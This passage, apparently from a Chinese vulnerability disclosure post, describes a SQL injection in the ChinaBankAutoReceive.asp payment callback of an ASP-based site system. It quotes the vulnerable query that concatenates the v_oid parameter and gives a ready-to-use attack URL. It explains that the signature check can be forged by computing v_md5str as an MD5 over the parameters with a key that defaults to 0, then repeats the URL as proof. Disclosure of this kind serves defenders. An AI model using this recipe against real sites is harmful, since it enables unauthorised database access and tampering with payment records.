End Sub
RSLog.Open “Select top 1 * From KS_LogMoney where orderid=’” & v_oid & “‘”,Conn,1,1这句带入SQL了！那么然后构造参数才能触发漏洞呢？
我们这样构造:
/User/ChinaBankAutoReceive.asp?v_oid=1%27&v_pstatus=20&v_amount=1&v_moneytype=1&v_md5str=9B5BF7166AFBB5E1602BBCC964459B9B
其中的v_oid带入我们的SQL注射语句…你懂的，后面的v_md5str是md5(v_oid&v_pstatus&v_amount&v_moneytype&MD5Key)得到的，MD5Key的值来自数据库值为0
简单地说，v_oid构造SQL后，md5(v_oid&v_pstatus&v_amount&v_moneytype&MD5Key)计算出v_md5str,然后提交就行了
漏洞证明：
/User/ChinaBankAutoReceive.asp?v_oid=1%27&v_pstatus=20&v_amount=1&v_moneytype=1&v_md5str=9B5BF7166AFBB5E1602BBCC964459B9B
